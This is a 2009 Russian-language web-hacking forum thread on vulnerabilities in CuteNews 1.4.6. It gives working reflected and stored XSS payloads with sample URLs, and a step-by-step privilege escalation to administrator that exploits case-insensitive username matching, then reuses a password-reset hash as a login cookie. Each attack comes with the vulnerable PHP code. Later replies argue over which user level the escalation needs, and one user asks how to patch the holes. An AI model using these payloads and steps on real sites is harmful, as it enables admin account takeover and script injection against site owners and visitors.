Уязвимости CuteNews

Discussion in 'Веб-уязвимости' started by Grey, 21 Aug 2009.

  1. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    CuteNews 1.4.6 / Множественные XSS

    CuteNews 1.4.6 / Множественные XSS

    1. Пассивные XSS:

    Во всех формах в action указывается $PHP_SELF, что делает скрипт уязвимым:

    Code:
    http://test1.ru/cutenews/search.php/1"><script>alert();</script>
    http://test1.ru/cutenews/register.php/"><script>alert();</script>/?action=lostpass
    ну и т.д.

    Далее в файле /search.php наблюдаем следующий код:

    PHP:
    //check for bad _GET and _POST
    if($dosearch == "yes"){
      
    $check_params array_merge($_GET$_POST);
      foreach(
    $check_params as $param_key=>$param_val){
        if( !empty(
    $param_val) && !preg_match('/^[a-zA-Z0-9\- ]{0,255}$/'$param_val) ){
          die(
    "Error! the parameter '$param_key' contains illigal characters");
        }
      }
    }
    а именно строчку: die("Error! the parameter '$param_key' contains illigal characters");

    <script>alert();</script> ---> %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3B%3C%2F%73%63%72%69%70%74%3E

    Code:
    http://test1.ru/cutenews/search.php?dosearch=yes&%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3B%3C%2F%73%63%72%69%70%74%3E=.
    2. Активная XSS:

    В комментах пишем:

    [link=javascript:alert()]text[/link]

    P.S. двиг изобилует кривизной кода.

    © Grey
     
    #1 Grey, 21 Aug 2009
    Last edited: 26 Aug 2009
    3 people like this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    CuteNews 1.4.6 / Повышение привилегий до админа

    CuteNews 1.4.6 / Повышение привилегий до админа

    Нужно: аккаунт с правами journalist или аккаунт с правами на сохранение настроек, знать логин админа (обычно пишется при добавление новости, но учтите иногда может писать не логин, а ник, если он указан, и он может отличаться от логина).

    Баг до нельзя тупой, смотрим файл inc/options.mdu и видим в нём код:

    PHP:
            foreach($old_user_db as $old_user_db_line){
                    
    $old_user_db_arr explode("|"$old_user_db_line);
                    if(
    strtolower($username) != strtolower($old_user_db_arr[2])){
                            
    fwrite($new_user_db,"$old_user_db_line");
                    }
                    else{
                         if(
    $editpassword != ""){
                         
    $old_user_db_arr[3] = md5($editpassword);
                         if(
    $config_use_cookies == TRUE){ setcookie("md5_password"$old_user_db_arr[3]); }
                            
    $_SESSION['md5_password'] = $old_user_db_arr[3];
                         }
                         
    fwrite($new_user_db,"$old_user_db_arr[0]|$old_user_db_arr[1]|$old_user_db_arr[2]|$old_user_db_arr[3]|$editnickname|$editmail|$old_user_db_arr[6]|$edithidemail|$change_avatar|$old_user_db_arr[9]||\n");
                         
    $personal_success TRUE;
                    }
            }
    Суть в следующем - пусть на сайте есть админ с логином admin регистрируем пользователя ADMin (он сохраняется именно в таком виде), заходим под ним (с учётом регистра) - и... мы не более чем обычные пользователи, при проверке логина и пароля всё норм, но теперь идем в личные настройки и меняем пароль (не важно на какой). Из-за того что в коде стоит strtolower($username) != strtolower($old_user_db_arr[2]), то пароль поменяется для всех с ником admin не зависимо от регистра.
    Разлогиниваемся и логинимся, только теперь логин пишем не ADMin, а admin и тот новый пароль, который поставили при смене и получаем права админа.

    UPD: Можно и не менять пароль админу, а изменить только почтовый ящик, для этого при редактирование данных пишем нужный нам email, далее разлогиниваемся и делаем восстановление пароля на email.

    В результате чего на почту придёт линк подтверждения смены пароля, по нему не переходим, а берём из него хеш админа.

    Code:
    if($user_arr[2] == $user and $user_arr[5] == $email){ $sstring = "${user_arr[0]}[COLOR=Green]${user_arr[3]}[/COLOR]"; $found = TRUE; break;}
    Пароль в чистом виде не нужен, хеша достаточно для авторизации - запихиваем его в куки и получаем акк админа.

    © Grey
     
    #2 Grey, 26 Aug 2009
    Last edited by a moderator: 25 Jul 2011
    8 people like this.
  3. Zahar

    Zahar Banned

    Joined:
    17 Mar 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    В версии 1.4.6 выше описаную багу проверил, результат нулевой, возможно что проверял с правами юзера коментатор, возможно нужны более шырокие права. Баги НЕТ !
     
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Нужна возможность сохранять настройки, а такие права начинаются с journalist, ну вообще они судя по описаю двига должны быть у всех

    Code:
    Commenters - when users from this level login, they are [COLOR=Green]allowed only to change their passwords[/COLOR].
    но наверное автор это упустил:

    PHP:
    if($member_db[1] == and ($action != 'personal' and $action != 'options')){ msg('error''Error!''Access Denied for your user-level (commenter)'); }
    Не хватает and $action != 'dosavepersonal'.
     
    #4 Grey, 28 Aug 2009
    Last edited: 28 Aug 2009
  5. InnovateME

    InnovateME Banned

    Joined:
    12 Feb 2009
    Messages:
    5
    Likes Received:
    8
    Reputations:
    -10
    Уязвимости, это конечно хорошо, но хотелось бы узнать, возможно ли закрыть эти дыры ? использую версию 1.4.6 хотелось бы чтобы вы помогли все это исправить. :confused: Ну или предложили халявный скрипт аналог этому.
     
  6. nitr00

    nitr00 New Member

    Joined:
    2 Sep 2009
    Messages:
    80
    Likes Received:
    4
    Reputations:
    0
    закрыть возможно
    помогу закрыть безвоздмезно =))
    в приват отписывай все сделаем =)